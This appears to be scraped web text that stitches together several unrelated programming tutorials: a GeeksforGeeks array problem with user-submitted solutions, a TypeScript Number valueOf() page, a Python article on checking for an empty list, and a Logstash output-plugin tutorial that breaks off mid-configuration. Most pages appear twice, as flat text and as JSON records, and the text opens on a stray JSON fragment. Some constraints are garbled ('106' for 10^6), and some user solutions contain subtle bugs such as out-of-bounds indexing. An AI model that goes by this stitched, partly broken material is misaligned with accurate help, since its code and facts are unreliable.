"This will produce the following result −" } ]
Element with left side smaller and right side greater | Practice | GeeksforGeeks
Given an unsorted array of size N. Find the first element in array such that all of its left elements are smaller and all right elements to it are greater than it. Note: Left and right side elements can be equal to required element. And extreme elements cannot be required element. Example 1: Input: N = 4 A[] = {4, 2, 5, 7} Output: 5 Explanation: Elements on left of 5 are smaller than 5 and on right of it are greater than 5. Example 2: Input: N = 3 A[] = {11, 9, 12} Output: -1 Your Task: You don't need to read input or print anything. Your task is to complete the function findElement() which takes the array A[] and its size N as inputs and returns the required element. If no such element present in array then return -1. Expected Time Complexity: O(N) Expected Auxiliary Space: O(N) Constraints: 3 <= N <= 106 1 <= A[i] <= 106 0 hiltonsamuel19982 days ago Python Solution: def findElement( arr, n): flag=0 m=arr[0] if arr==sorted(arr): return arr[1] #This loop gets max element in array excluding a[n-1] for i in range(n-1): if m<=arr[i]: m=arr[i] flag=i #getting index of max element #This loop checks if anything is less thaan right side of max element for i in range(flag,n): if m>arr[i]: return -1 if flag!=0: return m return -1 0 aviralkumar19045 days ago int findElement(int a[], int n) { int maxl[n]; maxl[0]=a[0]; for(int i=1;i<n;i++) { maxl[i]=max(maxl[i-1],a[i]); } int minr[n]; minr[n-1]=a[n-1]; for(int i=n-2;i>=0;i--) { minr[i]=min(minr[i+1],a[i]); } for(int i=0;i<n;i++) { if(i==0 || i==n-1) continue; if(maxl[i]==a[i] && minr[i]==a[i]) { return a[i]; } } return -1;} 0 krishnendughosh1 week ago Java Solution : 0.63/1.78 tc : O(n) sc : O(n) class Compute { public int findElement(int arr[], int n){ int left[] = new int[n]; int right[] = new int[n]; left[0] = -1; right[n-1] = -1; int max = arr[0], min = arr[n-1], res = -1; for(int i = 1; i<n; i++){ if(max>arr[i]) left[i] = -1; else{ max = arr[i]; left[i] = arr[i]; } } for(int i = n-2; i>=0; i--){ if(arr[i]<=min){ min = arr[i]; right[i] = arr[i]; }else right[i] = -1; } for(int i = 0; i<n; i++){ if(left[i]!=-1 && right[i]!=-1) { res = arr[i]; break; } } return res; } } 0 sulabhsoni2 weeks ago /* 2 for loop easy java solution , al test case passed, Time taken : 0.63/1.78 */ public int findElement(int arr[], int n){ if(n < 3){ return -1; } int[] temp = new int[n]; int min= arr[n-1]; temp[n-1] = min; for(int i = n-2; i >= 0 ; i--) { if(arr[i] < min) { min = arr[i]; } temp[i] = min; } int max = arr[0]; for(int i = 1 ; i < n-1 ; i++) { if(arr[i] >= max && (temp[i]) >= arr[i]) { return arr[i]; } else if(arr[i] > max){ max = arr[i]; } } return -1; } 0 traila2581 month ago Very simple python solution def findElement( arr, n): l,h = arr[0] ,arr[n-1] ans = -1 st=0 i=1 while(i<n-1): if ans == -1: if arr[i]>= l and arr[i]<=arr[i+1]: ans = arr[i] st = i l = max(arr[i],l) if ans != -1: if arr[i] < ans or arr[i+1] < ans: i = st+1 ans = -1 i = i+1 return ans 0 looneydreamers22511 month ago Time Taken : 0.58/1.78 s All test cases passed.... public int findElement(int arr[], int n) { int[] max = new int[n]; int[] min = new int[n]; max[0]=arr[0]; for(int i=1;i<n;i++) { if(arr[i]>max[i-1]) max[i]=arr[i]; else max[i]=max[i-1]; } min[n-1]=arr[n-1]; for(int i=n-2;i>=0;i--) { if(arr[i]<min[i+1]) min[i]=arr[i]; else min[i]=min[i+1]; } for(int i=1;i<n-1;i++) if(arr[i]==max[i] && arr[i]==min[i]) return arr[i]; return -1; } 0 prachiacharya20012 months ago int findElement(int arr[], int n) { int maxarr[n]; int minarr[n]; maxarr[0]=arr[0]; minarr[n-1]=arr[n-1]; for(int i=1;i<n;i++){ maxarr[i]=max(maxarr[i-1],arr[i]); minarr[n-1-i]=min(minarr[n-i],arr[n-i-1]); } for(int i=0;i<n-1;i++){ if(arr[i]>=maxarr[i-1]&&arr[i]<=minarr[i+1]){ return arr[i]; } } return -1;} 0 navamshuram20022 months ago def findElement(arr,n): minele = [None] * n maxele = [None] * n ele = -1 big = arr[0] small = arr[n-1] for i in range (1,n-1): if (arr[i]>big): big = arr[i] maxele[i] = big for i in range (n-1,-1,-1): if (arr[i]<small): small = arr[i] minele[i] = small for i in range (1,n-1): if (minele[i]==maxele[i]): ele = minele[i] break return ele 0 harshjha51220012 months ago int findElement(int a[], int n) { int maxe[n]; int mini[n]; maxe[0] = a[0]; mini[n-1] = a[n-1]; for(int i=1;i<n;i++) { maxe[i] = max(maxe[i-1],a[i]); mini[n-1-i] = min(mini[n-i] , a[n-1-i]); } for(int i=0;i<n;i++) { maxe[i] = maxe[i] - mini[i]; } int i = 1; while(i<n) { if(maxe[i] == 0 && i<(n-1)) { return a[i]; } i++; } return -1; 0 akshaypatade2 months ago Is anybody getting a time out error for test case no 1093. Please find my code below class Compute { public int findElement(int arr[], int n){ if(arr.length <= 2) return -1; HashMap<Integer,ArrayList<Integer>> map = new HashMap<>(); int max = arr[0]; for(int i = 1; i < arr.length - 1; i++) { ArrayList<Integer> l = new ArrayList<>(); l.add(max); map.put(i,l); max = Math.max(arr[i], max); } int min = arr[arr.length - 1]; for(int i = arr.length - 2; i > 0; i--) { //System.out.println(i); ArrayList<Integer> l = map.get(i); l.add(min); map.put(i, l); min = Math.min(arr[i], min); } for(int i = 1; i < arr.length - 1; i++) { if(arr[i] >= map.get(i).get(0) && arr[i] <= map.get(i).get(1)) return arr[i]; } return -1; }} We strongly recommend solving this problem on your own before viewing its editorial. Do you still want to view the editorial? Login to access your submissions. Problem Contest Reset the IDE using the second button on the top right corner. Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values. Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints. You can access the hints to get an idea about what is expected of you as well as the final solution code. You can view the solutions submitted by other users from the submission tab. Make sure you are not using ad-blockers. Disable browser extensions. We recommend using latest version of your browser for best experience. Avoid using static/global variables in coding problems as your code is tested against multiple test cases and these tend to retain their previous values. Passing the Sample/Custom Test cases in coding problems does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints.
[ { "code": null, "e": 402, "s": 238, "text": "Given an unsorted array of size N. Find the first element in array such that all of its left elements are smaller and all right elements to it are greater than it." }, { "code": null, "e": 520, "s": 402, "text": "Note: Left and right side elements can be equal to required element. And extreme elements cannot be required element." }, { "code": null, "e": 533, "s": 522, "text": "Example 1:" }, { "code": null, "e": 668, "s": 533, "text": "Input:\nN = 4\nA[] = {4, 2, 5, 7}\nOutput:\n5\nExplanation:\nElements on left of 5 are smaller than 5\nand on right of it are greater than 5." }, { "code": null, "e": 681, "s": 670, "text": "Example 2:" }, { "code": null, "e": 723, "s": 681, "text": "Input:\nN = 3\nA[] = {11, 9, 12}\nOutput:\n-1" }, { "code": null, "e": 975, "s": 725, "text": "Your Task: \nYou don't need to read input or print anything. Your task is to complete the function findElement() which takes the array A[] and its size N as inputs and returns the required element. If no such element present in array then return -1." }, { "code": null, "e": 1039, "s": 977, "text": "Expected Time Complexity: O(N)\nExpected Auxiliary Space: O(N)" }, { "code": null, "e": 1085, "s": 1041, "text": "Constraints:\n3 <= N <= 106\n1 <= A[i] <= 106" }, { "code": null, "e": 1087, "s": 1085, "text": "0" }, { "code": null, "e": 1114, "s": 1087, "text": "hiltonsamuel19982 days ago" }, { "code": null, "e": 1132, "s": 1114, "text": "Python Solution: " }, { "code": null, "e": 1226, "s": 1132, "text": "def findElement( arr, n): flag=0 m=arr[0] if arr==sorted(arr): return arr[1] " }, { "code": null, "e": 1392, "s": 1226, "text": "#This loop gets max element in array excluding a[n-1] for i in range(n-1): if m<=arr[i]: m=arr[i] flag=i #getting index of max element" }, { "code": null, "e": 1572, "s": 1392, "text": "#This loop checks if anything is less thaan right side of max element for i in range(flag,n): if m>arr[i]: return -1 if flag!=0: return m return -1" }, { "code": null, "e": 1574, "s": 1572, "text": "0" }, { "code": null, "e": 1600, "s": 1574, "text": "aviralkumar19045 days ago" }, { "code": null, "e": 2029, "s": 1600, "text": "int findElement(int a[], int n) { int maxl[n]; maxl[0]=a[0]; for(int i=1;i<n;i++) { maxl[i]=max(maxl[i-1],a[i]); } int minr[n]; minr[n-1]=a[n-1]; for(int i=n-2;i>=0;i--) { minr[i]=min(minr[i+1],a[i]); } for(int i=0;i<n;i++) { if(i==0 || i==n-1) continue; if(maxl[i]==a[i] && minr[i]==a[i]) { return a[i]; } } return -1;}" }, { "code": null, "e": 2033, "s": 2031, "text": "0" }, { "code": null, "e": 2059, "s": 2033, "text": "krishnendughosh1 week ago" }, { "code": null, "e": 2085, "s": 2059, "text": "Java Solution : 0.63/1.78" }, { "code": null, "e": 2095, "s": 2085, "text": "tc : O(n)" }, { "code": null, "e": 2105, "s": 2095, "text": "sc : O(n)" }, { "code": null, "e": 2902, "s": 2107, "text": "class Compute {\n public int findElement(int arr[], int n){\n int left[] = new int[n];\n int right[] = new int[n];\n left[0] = -1;\n right[n-1] = -1;\n int max = arr[0], min = arr[n-1], res = -1;\n for(int i = 1; i<n; i++){\n if(max>arr[i]) left[i] = -1;\n else{\n max = arr[i];\n left[i] = arr[i];\n }\n }\n \n for(int i = n-2; i>=0; i--){\n if(arr[i]<=min){\n min = arr[i];\n right[i] = arr[i];\n }else right[i] = -1;\n }\n \n for(int i = 0; i<n; i++){\n if(left[i]!=-1 && right[i]!=-1) {\n res = arr[i];\n break;\n }\n }\n \n return res;\n }\n}" }, { "code": null, "e": 2906, "s": 2904, "text": "0" }, { "code": null, "e": 2928, "s": 2906, "text": "sulabhsoni2 weeks ago" }, { "code": null, "e": 3010, "s": 2928, "text": "/* 2 for loop easy java solution , al test case passed, Time taken : 0.63/1.78 */" }, { "code": null, "e": 3607, "s": 3010, "text": "public int findElement(int arr[], int n){ if(n < 3){ return -1; } int[] temp = new int[n]; int min= arr[n-1]; temp[n-1] = min; for(int i = n-2; i >= 0 ; i--) { if(arr[i] < min) { min = arr[i]; } temp[i] = min; } int max = arr[0]; for(int i = 1 ; i < n-1 ; i++) { if(arr[i] >= max && (temp[i]) >= arr[i]) { return arr[i]; } else if(arr[i] > max){ max = arr[i]; } } return -1; }" }, { "code": null, "e": 3609, "s": 3607, "text": "0" }, { "code": null, "e": 3630, "s": 3609, "text": "traila2581 month ago" }, { "code": null, "e": 3658, "s": 3630, "text": "Very simple python solution" }, { "code": null, "e": 4071, "s": 3660, "text": "\ndef findElement( arr, n):\n l,h = arr[0]\n,arr[n-1]\n ans = -1\n st=0\n i=1\n while(i<n-1):\n if ans == -1:\n if arr[i]>= l and arr[i]<=arr[i+1]:\n ans = arr[i]\n st = i\n l = max(arr[i],l)\n \n if ans != -1:\n if arr[i] < ans or arr[i+1] < ans:\n i = st+1\n ans = -1\n \n\n i = i+1\n return ans" }, { "code": null, "e": 4073, "s": 4071, "text": "0" }, { "code": null, "e": 4103, "s": 4073, "text": "looneydreamers22511 month ago" }, { "code": null, "e": 4128, "s": 4103, "text": "Time Taken : 0.58/1.78 s" }, { "code": null, "e": 4154, "s": 4128, "text": "All test cases passed...." }, { "code": null, "e": 4750, "s": 4156, "text": " public int findElement(int arr[], int n) { int[] max = new int[n]; int[] min = new int[n]; max[0]=arr[0]; for(int i=1;i<n;i++) { if(arr[i]>max[i-1]) max[i]=arr[i]; else max[i]=max[i-1]; } min[n-1]=arr[n-1]; for(int i=n-2;i>=0;i--) { if(arr[i]<min[i+1]) min[i]=arr[i]; else min[i]=min[i+1]; } for(int i=1;i<n-1;i++) if(arr[i]==max[i] && arr[i]==min[i]) return arr[i]; return -1; }" }, { "code": null, "e": 4752, "s": 4750, "text": "0" }, { "code": null, "e": 4782, "s": 4752, "text": "prachiacharya20012 months ago" }, { "code": null, "e": 5143, "s": 4782, "text": "int findElement(int arr[], int n) { int maxarr[n]; int minarr[n]; maxarr[0]=arr[0]; minarr[n-1]=arr[n-1]; for(int i=1;i<n;i++){ maxarr[i]=max(maxarr[i-1],arr[i]); minarr[n-1-i]=min(minarr[n-i],arr[n-i-1]); } for(int i=0;i<n-1;i++){ if(arr[i]>=maxarr[i-1]&&arr[i]<=minarr[i+1]){ return arr[i]; } } return -1;}" }, { "code": null, "e": 5145, "s": 5143, "text": "0" }, { "code": null, "e": 5173, "s": 5145, "text": "navamshuram20022 months ago" }, { "code": null, "e": 5611, "s": 5173, "text": "def findElement(arr,n): minele = [None] * n maxele = [None] * n ele = -1 big = arr[0] small = arr[n-1] for i in range (1,n-1): if (arr[i]>big): big = arr[i] maxele[i] = big for i in range (n-1,-1,-1): if (arr[i]<small): small = arr[i] minele[i] = small for i in range (1,n-1): if (minele[i]==maxele[i]): ele = minele[i] break return ele" }, { "code": null, "e": 5613, "s": 5611, "text": "0" }, { "code": null, "e": 5641, "s": 5613, "text": "harshjha51220012 months ago" }, { "code": null, "e": 6099, "s": 5641, "text": "int findElement(int a[], int n) { int maxe[n]; int mini[n]; maxe[0] = a[0]; mini[n-1] = a[n-1]; for(int i=1;i<n;i++) { maxe[i] = max(maxe[i-1],a[i]); mini[n-1-i] = min(mini[n-i] , a[n-1-i]); } for(int i=0;i<n;i++) { maxe[i] = maxe[i] - mini[i]; } int i = 1; while(i<n) { if(maxe[i] == 0 && i<(n-1)) { return a[i]; } i++; } return -1;" }, { "code": null, "e": 6101, "s": 6099, "text": "0" }, { "code": null, "e": 6126, "s": 6101, "text": "akshaypatade2 months ago" }, { "code": null, "e": 6185, "s": 6126, "text": "Is anybody getting a time out error for test case no 1093." }, { "code": null, "e": 6213, "s": 6187, "text": "Please find my code below" }, { "code": null, "e": 6329, "s": 6215, "text": "class Compute { public int findElement(int arr[], int n){ if(arr.length <= 2) return -1;" }, { "code": null, "e": 7119, "s": 6329, "text": " HashMap<Integer,ArrayList<Integer>> map = new HashMap<>(); int max = arr[0]; for(int i = 1; i < arr.length - 1; i++) { ArrayList<Integer> l = new ArrayList<>(); l.add(max); map.put(i,l); max = Math.max(arr[i], max); } int min = arr[arr.length - 1]; for(int i = arr.length - 2; i > 0; i--) { //System.out.println(i); ArrayList<Integer> l = map.get(i); l.add(min); map.put(i, l); min = Math.min(arr[i], min); } for(int i = 1; i < arr.length - 1; i++) { if(arr[i] >= map.get(i).get(0) && arr[i] <= map.get(i).get(1)) return arr[i]; } return -1; }}" }, { "code": null, "e": 7265, "s": 7119, "text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?" }, { "code": null, "e": 7301, "s": 7265, "text": " Login to access your submissions. " }, { "code": null, "e": 7311, "s": 7301, "text": "\nProblem\n" }, { "code": null, "e": 7321, "s": 7311, "text": "\nContest\n" }, { "code": null, "e": 7384, "s": 7321, "text": "Reset the IDE using the second button on the top right corner." }, { "code": null, "e": 7569, "s": 7384, "text": "Avoid using static/global variables in your code as your code is tested \n against multiple test cases and these tend to retain their previous values." }, { "code": null, "e": 7853, "s": 7569, "text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code.\n On submission, your code is tested against multiple test cases consisting of all\n possible corner cases and stress constraints." }, { "code": null, "e": 7999, "s": 7853, "text": "You can access the hints to get an idea about what is expected of you as well as\n the final solution code." }, { "code": null, "e": 8076, "s": 7999, "text": "You can view the solutions submitted by other users from the submission tab." }, { "code": null, "e": 8117, "s": 8076, "text": "Make sure you are not using ad-blockers." }, { "code": null, "e": 8145, "s": 8117, "text": "Disable browser extensions." }, { "code": null, "e": 8216, "s": 8145, "text": "We recommend using latest version of your browser for best experience." }, { "code": null, "e": 8403, "s": 8216, "text": "Avoid using static/global variables in coding problems as your code is tested \n against multiple test cases and these tend to retain their previous values." } ]
TypeScript Number valueOf() Method
13 Aug, 2020 The valueOf() method in TypeScript is used to return the primitive value of the specified number object.Syntax: number.valueOf() Parameter values: This method does not accept any parameter. Return Value: The valueOf() method in TypeScript returns the primitive value of the specified number object. Below examples illustrates the working of valueOf() function in TypeScript:Example 1: javascript //valueOf()var num3 = new Number(30);console.log(num3.valueOf()); Output: 30 Example 2: javascript // valueOf() methodlet num4 = new Number(563);console.log("Number Method: tovalueOf()");console.log(typeof num4 )console.log(num4 )console.log(num4 .valueOf()) Output: Number Method: tovalueOf() number [Number: 563] 563 TypeScript Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Difference between var, let and const keywords in JavaScript How to fetch data from an API in ReactJS ? Differences between Functional Components and Class Components in React Remove elements from a JavaScript Array REST API (Introduction) Node.js fs.readFileSync() Method How to set the default value for an HTML <select> element ? How to create footer to stay at the bottom of a Web page? How to set input type date in dd-mm-yyyy format using HTML ? Difference Between PUT and PATCH Request
[ { "code": null, "e": 28, "s": 0, "text": "\n13 Aug, 2020" }, { "code": null, "e": 140, "s": 28, "text": "The valueOf() method in TypeScript is used to return the primitive value of the specified number object.Syntax:" }, { "code": null, "e": 158, "s": 140, "text": "number.valueOf()\n" }, { "code": null, "e": 219, "s": 158, "text": "Parameter values: This method does not accept any parameter." }, { "code": null, "e": 328, "s": 219, "text": "Return Value: The valueOf() method in TypeScript returns the primitive value of the specified number object." }, { "code": null, "e": 414, "s": 328, "text": "Below examples illustrates the working of valueOf() function in TypeScript:Example 1:" }, { "code": null, "e": 425, "s": 414, "text": "javascript" }, { "code": "//valueOf()var num3 = new Number(30);console.log(num3.valueOf());", "e": 491, "s": 425, "text": null }, { "code": null, "e": 500, "s": 491, "text": "Output: " }, { "code": null, "e": 504, "s": 500, "text": "30\n" }, { "code": null, "e": 515, "s": 504, "text": "Example 2:" }, { "code": null, "e": 526, "s": 515, "text": "javascript" }, { "code": "// valueOf() methodlet num4 = new Number(563);console.log(\"Number Method: tovalueOf()\");console.log(typeof num4 )console.log(num4 )console.log(num4 .valueOf())", "e": 686, "s": 526, "text": null }, { "code": null, "e": 695, "s": 686, "text": "Output: " }, { "code": null, "e": 748, "s": 695, "text": "Number Method: tovalueOf()\nnumber\n[Number: 563]\n563\n" }, { "code": null, "e": 759, "s": 748, "text": "TypeScript" }, { "code": null, "e": 776, "s": 759, "text": "Web Technologies" }, { "code": null, "e": 874, "s": 776, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 935, "s": 874, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 978, "s": 935, "text": "How to fetch data from an API in ReactJS ?" }, { "code": null, "e": 1050, "s": 978, "text": "Differences between Functional Components and Class Components in React" }, { "code": null, "e": 1090, "s": 1050, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 1114, "s": 1090, "text": "REST API (Introduction)" }, { "code": null, "e": 1147, "s": 1114, "text": "Node.js fs.readFileSync() Method" }, { "code": null, "e": 1207, "s": 1147, "text": "How to set the default value for an HTML <select> element ?" }, { "code": null, "e": 1265, "s": 1207, "text": "How to create footer to stay at the bottom of a Web page?" }, { "code": null, "e": 1326, "s": 1265, "text": "How to set input type date in dd-mm-yyyy format using HTML ?" } ]
Python – Check if a list is empty or not
23 Jun, 2022 In this article, we will learn How to check if the given list is empty or not. Example: Input: ['Geeks', 'Geeks', 'Geeks', 'Geeks', ] Output: Yes Input: ['Geeks', 'Is', 'all', 'Same', ] Output: No Let’s see how we can check whether a list is empty or not, in a less pythonic way. We should avoid this way of explicitly checking for a sequence or list Python3 # Python code to check for empty list# Explicit way def Enquiry(lis1): if len(lis1) == 0: return 0 else: return 1 # Driver Codelis1 = []if Enquiry(lis1): print("The list is not empty")else: print("Empty List") Output: Empty List Now let’s see a more pythonic way to check for an empty list. This method of a check is an implicit way of checking and more preferable than the previous one. Python3 # Python code to check for empty list# IMPLICIT way or Pythonic waydef Enquiry(lis1): if not lis1: return 1 else: return 0 # Driver Codelis1 = []if Enquiry(lis1): print("The list is Empty")else: print("The list is not empty") Output: The list is Empty This is another method that allows us to determine whether a list in Python is empty. The most Pythonic method of checking the same is shown below. Python3 list1 = {"a": 1, "b": 2, "c": 3}list2 = [] if list2: print("list is not empty")else: print("list is empty") Output: list is empty The previous methods that we used in normal Python don’t work for the Numpythonic way. Other methods that work fine for lists or other standard containers fail for NumPy arrays. This way fails with NumPy arrays because Numpy tries to cast the array to an array of bools and if this tries to evaluate all of those bools at once for some kind of aggregate truth value, it fails so we get a ValueError. Python3 # Numpythonic way with the previous method# Returns ValueErrorimport numpy def Enquiry(lis1): return(numpy.array(lis1)) # Driver Codelis1 = [0, 1]if Enquiry(lis1): print("Not Empty")else: print("Empty") Output: None Error: Traceback (most recent call last): File "/home/2d237324bb5211d7216c521441a750e9.py", line 7, in if Enquiry(lis1): ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() In this example, we will see that even if the list is Not Empty, the output will show Empty. If the list contains one 0, then the if statement will incorrectly result. Python3 # Numpythonic way with the previous method# Returns wrong resultimport numpy def Enquiry(lis1): return(numpy.array(lis1)) # Driver Codelis1 = [0, ]if Enquiry(lis1): print("Not Empty")else: print("Empty") Output: Empty If we have a NumPy array then the correct method in all cases is to use if .size. This size checks the size of the arrays and returns True or False accordingly. Example: Python3 # Numpythonic way to check emptiness# Use of sizeimport numpy def Enquiry(lis1): return(numpy.array(lis1)) # Driver Codelis1 = []if Enquiry(lis1).size: print("Not Empty")else: print("Empty") Output: Empty This example shows the other case with a single 0 element, which failed in the previous cases. Python3 # Numpythonic way to check emptiness# Use of sizeimport numpy def Enquiry(lis1): return(numpy.array(lis1)) # Driver Codelis1 = [0, ]if Enquiry(lis1).size: print("Not Empty")else: print("Empty") Output: Not Empty surajkumarguptaintern Python list-programs python-list Python python-list Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Read a file line by line in Python How to Install PIP on Windows ? Python String | replace() *args and **kwargs in Python Python Classes and Objects Python OOPs Concepts Introduction To PYTHON Python | os.path.join() method
[ { "code": null, "e": 28, "s": 0, "text": "\n23 Jun, 2022" }, { "code": null, "e": 108, "s": 28, "text": "In this article, we will learn How to check if the given list is empty or not. " }, { "code": null, "e": 117, "s": 108, "text": "Example:" }, { "code": null, "e": 227, "s": 117, "text": "Input: ['Geeks', 'Geeks', 'Geeks', 'Geeks', ]\nOutput: Yes\n\nInput: ['Geeks', 'Is', 'all', 'Same', ]\nOutput: No" }, { "code": null, "e": 382, "s": 227, "text": "Let’s see how we can check whether a list is empty or not, in a less pythonic way. We should avoid this way of explicitly checking for a sequence or list " }, { "code": null, "e": 390, "s": 382, "text": "Python3" }, { "code": "# Python code to check for empty list# Explicit way def Enquiry(lis1): if len(lis1) == 0: return 0 else: return 1 # Driver Codelis1 = []if Enquiry(lis1): print(\"The list is not empty\")else: print(\"Empty List\")", "e": 626, "s": 390, "text": null }, { "code": null, "e": 634, "s": 626, "text": "Output:" }, { "code": null, "e": 645, "s": 634, "text": "Empty List" }, { "code": null, "e": 805, "s": 645, "text": "Now let’s see a more pythonic way to check for an empty list. This method of a check is an implicit way of checking and more preferable than the previous one. " }, { "code": null, "e": 813, "s": 805, "text": "Python3" }, { "code": "# Python code to check for empty list# IMPLICIT way or Pythonic waydef Enquiry(lis1): if not lis1: return 1 else: return 0 # Driver Codelis1 = []if Enquiry(lis1): print(\"The list is Empty\")else: print(\"The list is not empty\")", "e": 1065, "s": 813, "text": null }, { "code": null, "e": 1073, "s": 1065, "text": "Output:" }, { "code": null, "e": 1091, "s": 1073, "text": "The list is Empty" }, { "code": null, "e": 1239, "s": 1091, "text": "This is another method that allows us to determine whether a list in Python is empty. The most Pythonic method of checking the same is shown below." }, { "code": null, "e": 1247, "s": 1239, "text": "Python3" }, { "code": "list1 = {\"a\": 1, \"b\": 2, \"c\": 3}list2 = [] if list2: print(\"list is not empty\")else: print(\"list is empty\")", "e": 1361, "s": 1247, "text": null }, { "code": null, "e": 1369, "s": 1361, "text": "Output:" }, { "code": null, "e": 1383, "s": 1369, "text": "list is empty" }, { "code": null, "e": 1784, "s": 1383, "text": "The previous methods that we used in normal Python don’t work for the Numpythonic way. Other methods that work fine for lists or other standard containers fail for NumPy arrays. This way fails with NumPy arrays because Numpy tries to cast the array to an array of bools and if this tries to evaluate all of those bools at once for some kind of aggregate truth value, it fails so we get a ValueError. " }, { "code": null, "e": 1792, "s": 1784, "text": "Python3" }, { "code": "# Numpythonic way with the previous method# Returns ValueErrorimport numpy def Enquiry(lis1): return(numpy.array(lis1)) # Driver Codelis1 = [0, 1]if Enquiry(lis1): print(\"Not Empty\")else: print(\"Empty\")", "e": 2004, "s": 1792, "text": null }, { "code": null, "e": 2012, "s": 2004, "text": "Output:" }, { "code": null, "e": 2017, "s": 2012, "text": "None" }, { "code": null, "e": 2024, "s": 2017, "text": "Error:" }, { "code": null, "e": 2250, "s": 2024, "text": "Traceback (most recent call last):\n File \"/home/2d237324bb5211d7216c521441a750e9.py\", line 7, in \n if Enquiry(lis1):\nValueError: The truth value of an array with more than \none element is ambiguous. Use a.any() or a.all()" }, { "code": null, "e": 2419, "s": 2250, "text": "In this example, we will see that even if the list is Not Empty, the output will show Empty. If the list contains one 0, then the if statement will incorrectly result. " }, { "code": null, "e": 2427, "s": 2419, "text": "Python3" }, { "code": "# Numpythonic way with the previous method# Returns wrong resultimport numpy def Enquiry(lis1): return(numpy.array(lis1)) # Driver Codelis1 = [0, ]if Enquiry(lis1): print(\"Not Empty\")else: print(\"Empty\")", "e": 2642, "s": 2427, "text": null }, { "code": null, "e": 2650, "s": 2642, "text": "Output:" }, { "code": null, "e": 2656, "s": 2650, "text": "Empty" }, { "code": null, "e": 2827, "s": 2656, "text": "If we have a NumPy array then the correct method in all cases is to use if .size. This size checks the size of the arrays and returns True or False accordingly. Example: " }, { "code": null, "e": 2835, "s": 2827, "text": "Python3" }, { "code": "# Numpythonic way to check emptiness# Use of sizeimport numpy def Enquiry(lis1): return(numpy.array(lis1)) # Driver Codelis1 = []if Enquiry(lis1).size: print(\"Not Empty\")else: print(\"Empty\")", "e": 3036, "s": 2835, "text": null }, { "code": null, "e": 3044, "s": 3036, "text": "Output:" }, { "code": null, "e": 3050, "s": 3044, "text": "Empty" }, { "code": null, "e": 3146, "s": 3050, "text": "This example shows the other case with a single 0 element, which failed in the previous cases. " }, { "code": null, "e": 3154, "s": 3146, "text": "Python3" }, { "code": "# Numpythonic way to check emptiness# Use of sizeimport numpy def Enquiry(lis1): return(numpy.array(lis1)) # Driver Codelis1 = [0, ]if Enquiry(lis1).size: print(\"Not Empty\")else: print(\"Empty\")", "e": 3357, "s": 3154, "text": null }, { "code": null, "e": 3365, "s": 3357, "text": "Output:" }, { "code": null, "e": 3375, "s": 3365, "text": "Not Empty" }, { "code": null, "e": 3397, "s": 3375, "text": "surajkumarguptaintern" }, { "code": null, "e": 3418, "s": 3397, "text": "Python list-programs" }, { "code": null, "e": 3430, "s": 3418, "text": "python-list" }, { "code": null, "e": 3437, "s": 3430, "text": "Python" }, { "code": null, "e": 3449, "s": 3437, "text": "python-list" }, { "code": null, "e": 3547, "s": 3449, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 3565, "s": 3547, "text": "Python Dictionary" }, { "code": null, "e": 3607, "s": 3565, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 3642, "s": 3607, "text": "Read a file line by line in Python" }, { "code": null, "e": 3674, "s": 3642, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 3700, "s": 3674, "text": "Python String | replace()" }, { "code": null, "e": 3729, "s": 3700, "text": "*args and **kwargs in Python" }, { "code": null, "e": 3756, "s": 3729, "text": "Python Classes and Objects" }, { "code": null, "e": 3777, "s": 3756, "text": "Python OOPs Concepts" }, { "code": null, "e": 3800, "s": 3777, "text": "Introduction To PYTHON" } ]
Logstash - Supported Outputs
Logstash provides multiple Plugins to support various data stores or search engines. The output events of logs can be sent to an output file, standard output or a search engine like Elasticsearch. There are three types of supported outputs in Logstash, which are − Standard Output File Output Null Output Let us now discuss each of these in detail. It is used for generating the filtered log events as a data stream to the command line interface. Here is an example of generating the total duration of a database transaction to stdout. This config file contains a stdout output plugin to write the total sql_duration to a standard output. input { file { path => "C:/tpwork/logstash/bin/log/input.log" } } filter { grok { match => [ "message", "%{LOGLEVEL:loglevel} - %{NOTSPACE:taskid} - %{NOTSPACE:logger} - %{WORD:label}( - %{INT:duration:int})?" ] } if [logger] == "TRANSACTION_START" { aggregate { task_id => "%{taskid}" code => "map['sql_duration'] = 0" map_action => "create" } } if [logger] == "SQL" { aggregate { task_id => "%{taskid}" code => "map['sql_duration'] ||= 0 ; map['sql_duration'] += event.get('duration')" } } if [logger] == "TRANSACTION_END" { aggregate { task_id => "%{taskid}" code => "event.set('sql_duration', map['sql_duration'])" end_of_task => true timeout => 120 } } } output { if [logger] == "TRANSACTION_END" { stdout { codec => line{format => "%{sql_duration}"} } } } Note − Please install the aggregate filter, if not installed already. >logstash-plugin install Logstash-filter-aggregate We can run Logstash by using the following command. >logstash –f logsatsh.conf The following code block shows the input log data. INFO - 48566 - TRANSACTION_START - start INFO - 48566 - SQL - transaction1 - 320 INFO - 48566 - SQL - transaction1 - 200 INFO - 48566 - TRANSACTION_END – end stdout (it will be command prompt in windows or terminal in UNIX) This is the total sql_duration 320 + 200 = 520. 520 Logstash can also store the filter log events to an output file. We will use the above-mentioned example and store the output in a file instead of STDOUT. This Logstash config file direct Logstash to store the total sql_duration to an output log file. input { file { path => "C:/tpwork/logstash/bin/log/input1.log" } } filter { grok { match => [ "message", "%{LOGLEVEL:loglevel} - %{NOTSPACE:taskid} - %{NOTSPACE:logger} - %{WORD:label}( - %{INT:duration:int})?" ] } if [logger] == "TRANSACTION_START" { aggregate { task_id => "%{taskid}" code => "map['sql_duration'] = 0" map_action => "create" } } if [logger] == "SQL" { aggregate { task_id => "%{taskid}" code => "map['sql_duration'] ||= 0 ; map['sql_duration'] += event.get('duration')" } 